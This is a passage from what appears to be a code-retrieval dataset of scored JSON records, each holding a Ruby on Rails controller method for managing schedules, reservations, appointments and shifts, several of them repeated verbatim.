iterate[key] = 1\n end \n end \n end\n else\n iterate.each_key do |key|\n if key != \"Name\"\n key_time = key.split(\" \")[1] \n if key_time <= time_now \n iterate[key] = 1\n end \n end \n end\n end\n else\n iterate.each_key do |key| \n if key != \"Name\"\n key_time = key.split(\" \")[1] \n if key_time <= time_now\n iterate[key] = 1\n end\n end\n end \n end\n end\n puts component[\"component\"][\"name\"]\n prev_component = component[\"component\"][\"name\"]\n end\n end\n end\n end\n puts @reservation_table\n else\n # Same way as above but only for the given date\n @today_leases = getLeasesByDate(@date)\n\n today_columns = []\n today_columns << \"Name\"\n columns.each do |element|\n if element != \"Name\"\n today_columns << @date + \" \" + element \n end\n end\n\n @reservation_table = rows.map{|r| Hash[ *today_columns.zip(r).flatten ] }\n #puts @reservation_table.inspect \n # puts @today_leases.inspect\n puts @today_leases.inspect\n\n @reservation_table.each do |iterate|\n @today_leases.each do |t_lease|\n\n\n date_from = t_lease[\"valid_from\"].split(' ')[0]\n date_until = t_lease[\"valid_until\"].split(' ')[0]\n time_from = t_lease[\"valid_from\"].split(' ')[1][0...-3]\n time_until = t_lease[\"valid_until\"].split(' ')[1][0...-3]\n\n\n\n time_from = roundTimeFrom(time_from)\n time_until = roundTimeUntil(time_until)\n\n prev_component = \"\"\n t_lease[\"components\"].each do |component|\n if component[\"component\"][\"name\"] != prev_component && iterate[\"Name\"] == component[\"component\"][\"name\"]\n if date_from == date_until\n iterate.each_key do |key|\n if key != \"Name\"\n key_time = key.split(\" \")[1]\n if key_time >= time_from && key_time < time_until && key != \"Name\" \n iterate[key] = 1\n end\n end\n end\n elsif date_from < date_until\n if @date == date_from\n iterate.each_key do |key|\n if key != \"Name\"\n key_time = key.split(\" \")[1]\n if key_time >= time_from && key != \"Name\" \n iterate[key] = 1\n end\n end\n end\n elsif @date == date_until\n iterate.each_key do |key|\n if key != \"Name\"\n key_time = key.split(\" \")[1]\n if key_time < time_until \n iterate[key] = 1\n end\n end\n end\n else\n iterate.each_key do |key|\n if key != \"Name\"\n key_time = key.split(\" \")[1]\n if key != \"Name\" \n iterate[key] = 1\n end\n end\n end\n end \n end \n end\n\n puts component[\"component\"][\"name\"]\n prev_component = component[\"component\"][\"name\"]\n end\n end \n end\n end\n\n end", "title": "" }, { "docid": "4e1cfcb7a7ee50e6c13e5aaf4b33b59b", "score": "0.60159963", "text": "def show\n\tredirect_to new_availability_calendar_path\n end", "title": "" }, { "docid": "7f59b88317d45ec51a1b925ad18b5591", "score": "0.60001665", "text": "def index\n @schedule = Schedule.new\n\n if params[:date_init].nil?\n @schedule.date_init = Date.today\n else\n @schedule.date_init = DateTime.parse(params[:date_init], \"%d/%m/%Y\").to_date\n end\n\n if @schedule.date_init > Date.today\n @schedule.date_init = Date.today\n end\n\n @schedules = Schedule.where(date: @schedule.date_init).order(\"date\")\n #@schedules = Schedule.order(\"date\")\n end", "title": "" }, { "docid": "ffbad9e5eddf4d7998d07778d0daf5f2", "score": "0.59954715", "text": "def update\n @schedule.update(schedule_params)\n render text: \" \"\n end", "title": "" }, { "docid": "7765d5e3017d153f00651b7bc0ca4ddc", "score": "0.59529746", "text": "def index\n admin_is_viewing_someone_else = params[ :user_login ] && current_user.admin?\n login = admin_is_viewing_someone_else ? params[ :user_login ] : current_user\n @user = User.find_or_lookup_by_login( login ) rescue nil\n if @user.nil?\n flash[:alert] = \"Could not find user with Login ID #{params[ :user_login ]}\" if admin_is_viewing_someone_else\n redirect_to request.referrer || root_url\n return\n end\n\n if admin_is_viewing_someone_else\n @page_title = \"Reservations for #{@user.name}\"\n else\n @page_title = \"Your Reservations\"\n end\n\n reservations = @user.reservations.includes(:survey_response, :user, session: [:occurrences, :topic])\n current_reservations = reservations.find_all{ |reservation| !reservation.session.in_past? }.sort {|a,b| a.session.next_time <=> b.session.next_time}\n @past_reservations = reservations.find_all{ |reservation| reservation.session.in_past? && reservation.attended != Reservation::ATTENDANCE_MISSED }\n @confirmed_reservations, @waiting_list_signups = current_reservations.partition { |r| r.confirmed? }\n\n end", "title": "" }, { "docid": "caa670e3cc8261519d907c65a6596930", "score": "0.5914958", "text": "def index\n @schedules = get_all_schedules\n\n respond_to do |format|\n format.html\n end\n end", "title": "" }, { "docid": "fe09c867275226d9d227de579fa47ed3", "score": "0.59126216", "text": "def set_dates_schedule\n @dates_schedule = DatesSchedule.find(params[:id])\n end", "title": "" }, { "docid": "2b2b3c11580c53d2444a4d5e806009ed", "score": "0.5880944", "text": "def confirm_reschedule\n reschedule = ApptRescheduler.new(@appt.id, params).format_new_time\n if reschedule[:success] == true\n @new_start_time = reschedule[:new_start_time]\n @new_slot_id = reschedule[:new_slot_id]\n end\n render layout: '../dashboard/student/home/confirm_reschedule'\n end", "title": "" }, { "docid": "6ecae8c0cd3975951df5fea795538a3c", "score": "0.5878418", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: '스케쥴이 수정되었습니다' }\n format.json { render action: 'show', status: :ok, location: @schedule }\n else\n format.html { render action: 'edit' }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cea811e71902877255b0ac48c8216e3f", "score": "0.5876142", "text": "def show_lecture_schedule\n receive_and_set_background_params\n datetime = @background_params[:date].to_datetime(:local)\n academic_year, academic_season = Run.get_academic_year(datetime), Run.get_academic_season(datetime)\n @background_params.merge! :academic_year => academic_year,\n :academic_seaon => academic_season\n catch :flash_now do find_detail end\n # render lecture detail on calendar table.\n render :update do |page|\n page.replace_html \"working_div\", :partial => \"lectures/detail\"\n page.insert_html :top, \"working_div\" , :partial => \"shared/flash_notice\"\n page.insert_html :bottom, \"working_div\" , :partial => \"schedules/back_to_calendar\"\n end \n end", "title": "" }, { "docid": "543685cebfd8ddc6d1a44982a442ea4f", "score": "0.5826138", "text": "def update\n respond_to do |format|\n if @block && @schedule.update(schedule_params)\n format.html { redirect_to admins_backoffice_schedules_path, notice: @notice }\n format.json { render status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4fca3f5a3f9c156734874b4d9080bc4d", "score": "0.5822466", "text": "def index\n @user_reservations = query_reservations(user: current_user).paginate(page: params[:user_reservations_page], :per_page => 5)\n if current_user.is_admin?\n @awaiting_approval = query_reservations(status: 'requested')\n @all_reservations = query_reservations.paginate(page: params[:all_reservations_page], :per_page => 5)\n render :admin_index\n end\n end", "title": "" }, { "docid": "7d647513132dff915a9d5799571395c9", "score": "0.5819633", "text": "def update\n Reservation.transaction do\n respond_to do |format|\n @reservation.attributes = reservation_params\n @reservation.room.lock!\n room_or_time_changed =\n @reservation.room_id_changed? || @reservation.start_at_changed?\n\n if @reservation.weekly? && (request.xhr? || params[:only_day])\n reservation_cancel =\n ReservationCancel.create!(reservation: @reservation,\n start_on: params[:date])\n @reservation = @reservation.dup\n @reservation.repeating_mode = \"no_repeat\"\n end\n\n if @reservation.save\n @invoke_slack_webhook = room_or_time_changed\n format.html {\n # Use reservation_url to avoid a brakeman warning.\n redirect_to reservation_url(@reservation),\n notice: '予約を更新しました'\n }\n format.json { render :show, status: :ok, location: @reservation }\n else\n reservation_cancel.destroy if reservation_cancel\n @invoke_slack_webhook = false\n format.html do\n set_rooms\n render :edit\n end\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "6e11575c4bbef8789fbbd9787301145f", "score": "0.5809751", "text": "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @schedules = args[:schedules] if args.key?(:schedules)\n end", "title": "" }, { "docid": "fd9ac779b693c650f360f520fd87ed8d", "score": "0.57871574", "text": "def index\n @my_schedules = MySchedule.all\n end", "title": "" }, { "docid": "0f58f81267c169f24c31f9f0c4f60b2b", "score": "0.5786924", "text": "def schedule\n POST \"https://www.googleapis.com/calendar/v3/calendars/#{calendar_id}/events\"\n render \"schedule\"\n end", "title": "" }, { "docid": "de56fcea1436659d62087e0b3bb78690", "score": "0.57839733", "text": "def index\n # pass var to js\n gon.date1 = @date1 = params[:date1].to_date\n gon.date2 = @date2 = params[:date2].to_date\n gon.filter = @filter = params[:filter]\n \n @shifts = @current_user.shifts.by_date_range(@date1, @date2)\n @new_shift = Shift.new\n\n if @filter == 'daily' || @filter == 'today'\n render 'daily' \n end\n end", "title": "" }, { "docid": "d4daa6a436418c565e2324be2c29692a", "score": "0.5776981", "text": "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @reservations = args[:reservations] if args.key?(:reservations)\n end", "title": "" }, { "docid": "163ef249ecd25c8c2898e7e85362e742", "score": "0.577468", "text": "def updateschedule(scid,params)\r\n scrbslog(\"======Begin to update a schedule======\")\r\n @schedule = Schedule.find(scid)\r\n @user = User.find(@schedule.user_id)\r\n scrbslog(\"Author:\" + @user.name)\r\n room_id = Room.find_by_room_name(params[\"room_name\"]).id\r\n @schedule.update_attributes(:schedule_day=>params[\"schedule_day\"],:start_time=>params[\"start_time\"],:end_time=>params[\"end_time\"],:comment=>params[\"comment\"],:room_id => room_id,:title =>params[\"title\"] )\r\n Status.create(:room_name=>params[\"room_name\"],:schedule_day=>params[\"schedule_day\"],:start_time=>params[\"start_time\"],:end_time=>params[\"end_time\"],:scheduleid=>scid)\r\n scrbslog(params)\r\n scrbslog(\"======End to update a schedule======\")\r\n end", "title": "" }, { "docid": "55872946d4302178343ce2869a7d44a4", "score": "0.57606447", "text": "def show\n @reservation = Reservation.includes(:room => :office).find(params[:id])\n if @reservation.weekly? && params[:date]\n date = Date.parse(params[:date])\n @reservation_cancel = ReservationCancel.new(reservation: @reservation,\n start_on: date)\n offset = date - @reservation.start_at.to_date\n @start_at = @reservation.start_at.since(offset.days)\n @end_at = @reservation.end_at.since(offset.days)\n else\n @start_at = @reservation.start_at\n @end_at = @reservation.end_at\n end\n end", "title": "" }, { "docid": "fb89e76c6b6e5bc8edcea54b8c00ef85", "score": "0.5749803", "text": "def index\n @appointment = current_patient.appointments.not_checked_in.current\n if @appointment && !@appointment.can_cancel_and_reschedule?\n return redirect_to(\n home_community_appointments_path,\n flash: { alert: t('alerts.cannot_cancel_or_reschedule', days: Rails.configuration.x.schedule_up_to_days) }\n )\n end\n\n @days = parse_days\n @appointments = scheduler.open_times_per_ubs(from: @days.days.from_now.beginning_of_day,\n to: @days.days.from_now.end_of_day)\n rescue AppointmentScheduler::NoFreeSlotsAhead\n redirect_to home_community_appointments_path, flash: { alert: 'Não há vagas disponíveis para reagendamento.' }\n end", "title": "" }, { "docid": "b0fff194469a9fa94e2fd9f8f99c49fb", "score": "0.5747238", "text": "def update\n @schedule.update(schedule_params)\n\n schedule_dates =[]\n # 複数のレコードの作成\n date = @schedule.start_time\n if !params[:is_copy].nil?\n old_schedules = Schedule.where(:user_id => @schedule.user_id, :room_id => @schedule.room_id)\n 3.times do |i| \n date = date.since(7.days)\n if old_schedules.any?{|v| v.start_time == date } == false \n s = Schedule.new(:start_time => date,:user_id => @schedule.user_id, :room_id => @schedule.room_id)\n s.clone_id = @schedule.id\n schedule_dates << s\n end\n end\n end\n \n Schedule.import schedule_dates\n\n redirect_to @schedule\n\n\n\n\n # respond_to do |format|\n # if !params[:room_ids].nil? \n # @schedule.update(schedule_params)\n # format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n # format.json { render :show, status: :ok, location: @schedule }\n # else\n # format.html { redirect_to edit_schedule_url(@schedule) }\n # format.json { render json: @schedule.errors, status: :unprocessable_entity }\n # end\n # end\n end", "title": "" }, { "docid": "a3fc9ee7058e9fb26889ecdfdb71c971", "score": "0.5745138", "text": "def update\n\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to session.delete(:return_to), notice: \"Schedule was successfully updated.\" }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5744553", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5744553", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5744553", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5744553", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5744553", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5744553", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5744553", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5744553", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5744553", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "77269fbca372b701eb88a1012f32bf96", "score": "0.5744553", "text": "def index\n @schedules = Schedule.all\n end", "title": "" }, { "docid": "25b35cd319083571579621d10006371d", "score": "0.5735983", "text": "def edit\n @schedule = Schedule.find(params[:id])\n end", "title": "" }, { "docid": "2afba5d29116cc4b78fa995d7e157923", "score": "0.5725359", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule,\n notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok,\n location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors,\n status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c769f293cbe65ceba32e1122e726b37f", "score": "0.5723826", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @location, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @location }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cd0b92850e00edf22fdf7b22efd94bea", "score": "0.5715319", "text": "def update\n respond_to do |format|\n if @admin_schedule.update(admin_schedule_params)\n format.html { redirect_to admin_schedule_url(@admin_schedule.id), notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1614c34836bfb73398adc387f0b823cd", "score": "0.57151425", "text": "def index\n appointment_can_cancel_and_reschedule\n\n # If patient already had a dose, keep it in the same UBS.\n # This is an optimized query, hence a little odd using +pick+s.\n ubs_id = Appointment.where(id: current_patient.doses.pick(:appointment_id)).pick(:ubs_id)\n\n # Otherwise limit to where they can schedule\n ubs_id = allowed_ubs_ids if ubs_id.blank?\n\n @days = parse_days\n @appointments = scheduler.open_times_per_ubs(from: @days.days.from_now.beginning_of_day,\n to: @days.days.from_now.end_of_day,\n filter_ubs_id: ubs_id)\n rescue AppointmentScheduler::NoFreeSlotsAhead\n redirect_to home_community_appointments_path, flash: { alert: 'Não há vagas disponíveis para reagendamento.' }\n end", "title": "" }, { "docid": "1adae9bdf53f4909abb56e940244a674", "score": "0.5708973", "text": "def index\n authorize! :read, Schedule\n @schedules = Schedule.includes(:product, :device, :test_plan).where(:product_id => current_user.products).order(sort_column + \" \" + sort_direction)\n \n @schedules.each do |schedule|\n schedule.start_time = convert_to_local_time(schedule.start_time)\n end\n \n respond_to do |format|\n format.html # index.html.erb\n end\n end", "title": "" }, { "docid": "9f92690d6049bb1f8b897bfbd6f0ed82", "score": "0.5708679", "text": "def index\n @dj_schedules = DjSchedule.all\n end", "title": "" }, { "docid": "c92c56d19e4060bde8fb6e20a334e596", "score": "0.57029617", "text": "def set_schedule_day\n @schedule_day = ScheduleDay.find(params[:id])\n end", "title": "" }, { "docid": "3615968077d045e9417ecd7c8667ae63", "score": "0.5701044", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3615968077d045e9417ecd7c8667ae63", "score": "0.5701044", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3615968077d045e9417ecd7c8667ae63", "score": "0.5701044", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3615968077d045e9417ecd7c8667ae63", "score": "0.5701044", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3615968077d045e9417ecd7c8667ae63", "score": "0.5701044", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3615968077d045e9417ecd7c8667ae63", "score": "0.5701044", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3615968077d045e9417ecd7c8667ae63", "score": "0.5701044", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9ef3d239a1a666d3e630e92faebb962d", "score": "0.5681802", "text": "def index\n if params[:status].present?\n @status = params[\"status\"]\n else\n @status = \"scheduled\"\n end\n\n if !params[:start_date].present? && !params[:end_date].present?\n params[:start_date] = Date.today.beginning_of_month.strftime('%m/%d/%Y')\n params[:end_date] = Date.today.end_of_month.strftime('%m/%d/%Y')\n end\n\n start = Date.strptime(params[:start_date], '%m/%d/%Y')\n ending = Date.strptime(params[:end_date], '%m/%d/%Y')\n\n if is_admin?(@current_account)\n consult_pool = @current_org.consultations\n else\n consult_pool = @current_account.consultations\n end\n\n if @status != \"scheduled\"\n @consultations = consult_pool.date_range(start, ending).where(@status.to_sym => true)\n else\n @consultations = consult_pool.date_range(start, ending).where(:booked => false, :cancelled => false, :no_show => false)\n end\n\n respond_to do |format|\n format.html\n format.js\n end\n\n end", "title": "" }, { "docid": "b1369ee05b53e3bf7d52eea2609e7bfe", "score": "0.5674889", "text": "def index\n @schedules = Schedule.where(start: params[:start]..params[:end])\n end", "title": "" }, { "docid": "aadfd1f07bec509d631a8cbb1ad58349", "score": "0.5670765", "text": "def update\n if !params[:program_cycle][:starts_on].nil? && params[:program_cycle][:starts_on] != \"\"\n params[:program_cycle][:starts_on] = Date.strptime(program_cycle_params[:starts_on], \"%m/%d/%Y\")\n end\n \n if !params[:program_cycle][:ends_on].nil? && params[:program_cycle][:ends_on] != \"\"\n params[:program_cycle][:ends_on] = Date.strptime(program_cycle_params[:ends_on], \"%m/%d/%Y\")\n end\n respond_to do |format|\n if @program_cycle.update(program_cycle_params)\n format.html { redirect_to @program_cycle, notice: 'Program cycle was successfully updated.' }\n format.json { render :show, status: :ok, location: @program_cycle }\n format.js {render :js => \"window.location.reload();\"}\n else\n format.html { render :edit }\n format.json { render json: @program_cycle.errors, status: :unprocessable_entity }\n format.js {render 'edit'} \n end\n end\n end", "title": "" }, { "docid": "1186d3ad94e75efce38b2cc19da2308f", "score": "0.56682557", "text": "def index\n show_unpublished = (person_signed_in? and can?(:edit, @context))\n if @context\n if show_unpublished\n @schedules = @context.schedules\n else\n @schedules = @context.schedules.find_all_by_published(true)\n end\n @schedule = Schedule.new :event => @context\n else\n if show_unpublished\n @schedules = Schedule.find(:all)\n else\n @schedules = Schedule.find_all_by_published(true)\n end\n @schedule = Schedule.new\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @schedules }\n end\n end", "title": "" }, { "docid": "c6b66a653871b2d484a70268e58c94e3", "score": "0.5659739", "text": "def set_schedule\n @schedule = Schedule.where(:schedule_id => params[:id])\n end", "title": "" }, { "docid": "84e70f97ca6fe8ff33b9899a8b6543cc", "score": "0.5654991", "text": "def index\n @admin_schedules = Clapme::Schedule.all\n end", "title": "" }, { "docid": "8655dc4c1a82a97c1dcf303ba79fa4ea", "score": "0.56541306", "text": "def update\n respond_to do |format|\n if @my_schedule.update(my_schedule_params)\n format.html { redirect_to @my_schedule, notice: 'My schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @my_schedule }\n else\n format.html { render :edit }\n format.json { render json: @my_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "981f6d9257c1904f000962b644ea82ce", "score": "0.56422526", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'スケジュールの更新が正常に行われました。' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "17162c7c2ddacaa5236d4c54a3dffe9b", "score": "0.564211", "text": "def show\n redirect_to reservations_path\n end", "title": "" }, { "docid": "b852795d2cc8a471df3abde12aebf6c1", "score": "0.56358725", "text": "def update\n @schedule.update(schedule_params)\n end", "title": "" }, { "docid": "08fa03956f541f0e49bfb924b35be4fc", "score": "0.56315553", "text": "def update\n respond_to do |format|\n if @nfl_schedule.update(nfl_schedule_params)\n format.html { redirect_to @nfl_schedule, notice: 'Nfl schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @nfl_schedule }\n else\n format.html { render :edit }\n format.json { render json: @nfl_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9c41d126cad30950bcc2713887e3cd62", "score": "0.56165946", "text": "def index\n if params.include?(:sans_vol) and params[:sans_vol] == \"1\"\n @resas = Resa.no_flight_assigned\n else\n @resas = Resa.all\n end\n\n if params.include?(:resa_date)\n @date_debut = Date.strptime(params[:resa_date], \"%d/%m/%y\")\n @jour = @date_debut\n @date_fin = @date_debut\n @resas = @resas.all_for_those_dates(@date_debut,@date_debut)\n elsif params.include?(:date_debut) or params.include?(:date_fin) \n @date_debut = Date.strptime(params[:date_debut], \"%d/%m/%y\") unless params[:date_debut].nil? or params[:date_debut] == \"\"\n @date_fin = Date.strptime(params[:date_fin], \"%d/%m/%y\") unless params[:date_fin].nil? or params[:date_fin] == \"\"\n @resas = @resas.all_for_those_dates(@date_debut,@date_fin)\n end\n\n end", "title": "" }, { "docid": "ff9db56e9ae072cbe3fb429a541d9a88", "score": "0.56062883", "text": "def update\n respond_to do |format|\n if @dj_schedule.update(dj_schedule_params)\n format.html { redirect_to @dj_schedule, notice: 'Dj schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @dj_schedule }\n else\n format.html { render :edit }\n format.json { render json: @dj_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f10e2b1081b444dacf0b705ae99988bc", "score": "0.56008697", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bdd2ff86ab9fe53765498106ac827481", "score": "0.5589902", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c623a2515aa8d39b20d4e99148260dc6", "score": "0.5584509", "text": "def index\n @date=@local_tzone_time.to_date\n if current_user.admin?\n @rooms = OnlineMeetingRoom.all(:conditions=>\"(scheduled_on >= '#{@date.strftime(\"%Y-%m-%d 00:00:00\")}' and scheduled_on <= '#{@date.strftime(\"%Y-%m-%d 23:59:59\")}' )\",:order=>\"id DESC\")\n else\n @rooms = OnlineMeetingRoom.rooms_for_user(current_user,@date)\n end\n @current_user = current_user\n end", "title": "" }, { "docid": "c2e0bcaeb4840f739cd620ac1feb12b4", "score": "0.5583552", "text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n #format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n #format.json { render :show, status: :ok, location: @schedule }\n\t\t\n\t\tformat.html {redirect_to schedule_path(@schedule, :construction_id => params[:construction_id], \n :move_flag => params[:move_flag])}\n\t\t \n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c0b57a91cea8b7a75e8c163adc10c9c8", "score": "0.5572096", "text": "def index\n @page = params[:page] || 1\n\n if current_user.is_center_admin?\n event_schedules = EventSchedule.for_center(current_user.center_ids)\n else\n event_schedules = EventSchedule\n end\n @event_schedules = event_schedules.page(params[:page]).per(Settings.pagination.per_page).order('start_date DESC')\n\n #@page = params[:page] || 1\n #@event_schedules = EventSchedule.page(params[:page]).per(Settings.pagination.per_page).order('created_at ASC')\n end", "title": "" }, { "docid": "5bed8774a39eb83280235e68b17b2d75", "score": "0.5552482", "text": "def update\n # respond_to do |format|\n # if @schedule.update(schedule_params)\n # format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: 'edit' }\n # format.json { render json: @schedule.errors, status: :unprocessable_entity }\n # end\n # end\n end", "title": "" }, { "docid": "2e868fc61f01ef368e3f920052d16757", "score": "0.55506474", "text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to admin_schedule_path(@event), notice: 'Schedule was successfully edited.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e17a5b0c7f8edeb53c5e54e3006d633", "score": "0.5544597", "text": "def show\n authorize @daily_timesheet\n set_return_to\n @return_to = get_return_to_or_default daily_timesheets_url\n end", "title": "" }, { "docid": "7489caf7d7e27dc1d1ffd79386e4f310", "score": "0.55435294", "text": "def refresh; schedule_update end", "title": "" }, { "docid": "27f084a49a4d529a943233a379d3382d", "score": "0.5540175", "text": "def index\n @schedules = Schedule.all.order(:sort).page(params[:page]).per(params[:per])\n end", "title": "" }, { "docid": "a836f999d700af6c0ad2751405a18b91", "score": "0.55376726", "text": "def update\n respond_to do |format|\n if @event_date.update(event_date_params)\n EventDate.admin_edit(@event_date.id)\n format.html { redirect_to '/admin_calendar_global/display' }\n format.json { render :show, status: :ok, location: @event_date }\n else\n format.html { render :edit }\n format.json { render json: @event_date.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3106a3c40acacee3e49adbbdd5ef1396", "score": "0.5532654", "text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n flash[:notice] = 'Schedule was successfully updated.'\n format.html { redirect_to(schedule_path(@schedule)) }\n format.xml { head :ok }\n else\n @apps = App.find(:all)\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @schedule.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "841eb5c6137749cbf2397b8b61ae912b", "score": "0.55325997", "text": "def schedule\n prepare_scan_group_tab_data\n prepare_schedule_data\n\n respond_to do |format|\n format.html # index.html.erb\n format.js { render 'schedule.js' }\n format.json { render json: @scans }\n end\n end", "title": "" }, { "docid": "51a41a933c28eb93350ff6f717440e15", "score": "0.55252516", "text": "def update\n respond_to do |format|\n if @agent_schedule.update(agent_schedule_params)\n format.html { redirect_to @agent_schedule, notice: 'Agent schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @agent_schedule }\n else\n format.html { render :edit }\n format.json { render json: @agent_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5466141dc0c94f60ff94654cb69d94a7", "score": "0.55221206", "text": "def set_schedule\n @schedule = Schedule.where(id: params[:id].to_i, organization_id: current_organization.id).take!\n end", "title": "" }, { "docid": "d84402f515cf77fcd3fa2a767c616f20", "score": "0.5521574", "text": "def update\n respond_to do |format|\n if @dis_nfi_schedule.update(dis_nfi_schedule_params)\n format.html { redirect_to @dis_nfi_schedule, notice: 'Dis nfi schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @dis_nfi_schedule }\n else\n format.html { render :edit }\n format.json { render json: @dis_nfi_schedule.errors, status: :unprocessable_entity }\n end\n end\n 